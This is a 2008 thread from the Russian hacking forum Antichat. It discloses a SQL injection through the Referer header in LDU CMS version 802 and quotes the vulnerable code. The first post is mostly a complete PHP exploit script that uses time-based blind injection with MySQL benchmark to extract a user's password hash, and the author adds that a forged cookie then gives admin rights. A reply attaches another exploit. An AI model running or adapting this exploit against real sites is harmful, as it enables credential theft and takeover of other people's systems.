ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

sql-injection LDU version 802
  #1  
Старый 21.04.2008, 13:57
Аватар для (Dm)
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию sql-injection LDU version 802

Копался в LDU, нашел sql injection в заголовке Referer.
файл: system/common.php
Код:
	$sys['referer'] = substr(getenv('HTTP_REFERER'),0,255);
	
	if (@!eregi($cfg['mainurl'], $sys['referer']) && @!eregi($cfg['hostip'],$sys['referer']) && @!eregi(str_replace('www.','',$cfg['mainurl']), $sys['referer']) && !empty($sys['referer']))
		{
		
		$sql = ldu_query("SELECT COUNT(*) FROM $db_referers WHERE ref_url = '".$sys['referer']."'");
		$count = ldu_result($sql,0,"COUNT(*)");
if ($count>0)
			{ $sql = ldu_query("UPDATE $db_referers SET ref_count=ref_count+1, ref_date='".$sys['now_offset']."' WHERE ref_url='".$sys['referer']."'"); }
	       else
			{ $sql = ldu_query("INSERT INTO $db_referers (ref_url,ref_count,ref_date) VALUES ('".$sys['referer']."','1','".$sys['now_offset']."')"); }
		}
	}
Инъекция без вывода результата, поэтому пришлось использовать ф-ию benchmark;

Вот сплоит:
ps задержка между запросами 10 сек, для того чтобы не нагружать mysql . Проверял вроде работает, правда долго ждать... )))

Код:
#!/usr/bin/php
<?
error_reporting(E_ALL);

if ($argc < 3) { 
	print ($argv[0]." <site> <path> [<id>] [<num>]\n");
	
	print ('
     _//             
     _//             
     _//_/// _// _// 
 _// _// _//  _/  _//
_/   _// _//  _/  _//
_/   _// _//  _/  _//
 _// _//_///  _/  _//
');
	
	print ('
<site>  -  адрес сайта [ example.com ]
<path>  -  путь [ / ]
<id>    -  id пользователя [ 1 ]
<num>   -  с какой позиции начать [ 1 ]
Пример:
	./getpass 127.0.0.1 /802/
');
exit;
}

// Настройки
define('debug', 0);
define('benchmark', 5555555);
define('start_chr', 48); 
define('stop_chr', 90);
define('delay', 10); // задержка в секундах между запросами
define('timeout', 5); //На сколько секунд отличается обычный запрос от запроса с benchmark


$cfg['queryCount'] = 0;
$cfg['host'] = $argv[1];
$cfg['path'] = $argv[2];
$cfg['num']  = (int)@$argv[4];
$cfg['uid']  = (int)@$argv[3];

if ($cfg['num'] == 0)  $cfg['num'] = 1;
if ($cfg['uid'] == 0)  $cfg['uid'] = 1;

function get_microtime() { 
    list($usec, $sec) = explode(" ", microtime()); 
    return ((float)$usec + (float)$sec); 
}

function get_data($query) {
	GLOBAL $cfg, $session_id;
	
	$buff = '';

	$get = "GET http://".$cfg['host'].$cfg['path']."index.php HTTP/1.0\r\n";
	$get.= "HOST: ".$cfg['host']."\r\n";
	$get.= "Referer: ".$query."\r\n";
	$get.= "Cookie: PHPSESSID=".$session_id."\r\n\r\n";

	if (debug == 1) print ("\n".$get);
	$fp = @fsockopen($cfg['host'], 80, $errno, $errstr, 20);
	if (!$fp) {
		die ("\nНе могу подключиться к серверу: ".$errstr."\n");
	} else {
		$cfg['queryCount'] += 1;
		fputs($fp, $get);
		while (!feof($fp)) {
			$buff .= fgets($fp, 254);
		}
		fclose($fp);
	}
	unset($buff);
}

function check_request($id, $i, $z) {
	GLOBAL $TimeOut, $cfg;
	
	$query = "' union select 1 from ldu_users where user_id=".$cfg['uid']." and if(char(".$id.")".$z."substring(user_password,".$i.",1),benchmark(".benchmark.",md5('beer')),1) #";

	if (get_timeout($query) >= $TimeOut) {
		return true;
	}
	return false;
}

function get_char($id, $i, $start, $stop, $z) {

	sleep(delay);	

	if (check_request($id, $i, $z)) {
		if(($stop - $id) == 1) {
			if (check_request($stop, $i,'=')) {
				return $stop;
			} else {
				return $id;
			}
		} else {
			$curid = $id + (int)(($stop - $id) / 2);
			return get_char($curid, $i, $id, $stop, '<');
		}
	} else {
		if (($id - $start) == 1) {
			if (check_request($start, $i,'=')) {
				return $start;
			} else {
				return $id;
			}
		} else {
			$curid = $id - (int)(($id - $start) / 2);
			return get_char($curid, $i, $start, $id, '<');
			
		}
	}
}

function get_timeout($query) {
	$start_time = get_microtime();
	get_data($query);
	$stop_time = get_microtime();
	return ($stop_time - $start_time);
}



print ("\n- - - - - - - - - - - - - - - - - - - - - - - \n");
print ("Путь: http://".$cfg['host'].$cfg['path']."index.php\n");
print ("Задержка между запросами: ".delay." сек\n");
print ("Коды получаемых символов: ".start_chr." - ".stop_chr."\n");
print ("Аргумент фии benchmark: ".benchmark."\n");
print ("- - - - - - - - - - - - - - - - - - - - - - - \n\n");

/* Устанавливаем сессию */
$session_id = md5(rand(1, 100).time());

/* Проверка на возможность использоваие benchmark */
print "Проверка на доступность benchmark и mysql >= 4.0\t";

$query = "http://google.com";
$QueryTimeOut = get_timeout($query);

sleep(delay);

$query = "' union select benchmark(".benchmark.",md5('beer')) #";
$BenchTimeOut = get_timeout($query);

$resTime = $BenchTimeOut - $QueryTimeOut;

if ($resTime < timeout)
	die("[ Bad ]\n");

print ("[ Ok ]\n");

$TimeOut = $QueryTimeOut + timeout - 1;
print ('Таймаут: '.$TimeOut." сек\n");

print ("[uid = ".$cfg['uid']."] md5 hash ~> ");
/* ----------------------------------- */

$curid = start_chr + (int)((stop_chr - start_chr) / 2);

for ($i = $cfg['num']; $i <= 32; $i++) {
	$r1 = get_char($curid, $i, start_chr, stop_chr, '<');
	
	if (!check_request($r1, $i, '='))
		die("\nОшибка получения символа на позиции ".$i."\n");

	print chr($r1);
}

print ("\nКоличество запросов: ".$cfg['queryCount']."\n");
?>
После получения хеша, формируем cookie и наслождаемся админскими правами, если конечно нет фильтрации по ip... Тхе тхе O_o

Последний раз редактировалось (Dm); 21.04.2008 в 14:35..
 
Ответить с цитированием

  #2  
Старый 22.04.2008, 23:13
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию

Elekt-> more1row отлично работает. смысла в бенчмарке нет
(Dm)-> а как же без бенчмарка...

вот так делается без бенчмарка.
(устаревший приват годовой давности, как пример тем кто хочет разобраться)
Вложения
Тип файла: zip ldu_refer_expl_public.zip (8.2 Кб, 19 просмотров)
 
Ответить с цитированием

  #3  
Старый 23.04.2008, 00:10
Аватар для (Dm)
(Dm)
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме:
2375131

Репутация: 1695
По умолчанию

Да спасиб разобрался, как-то я эт проглядел)))
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection для чайников, взлом ASP+MSSQL k00p3r Чужие Статьи 0 12.06.2005 12:42
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ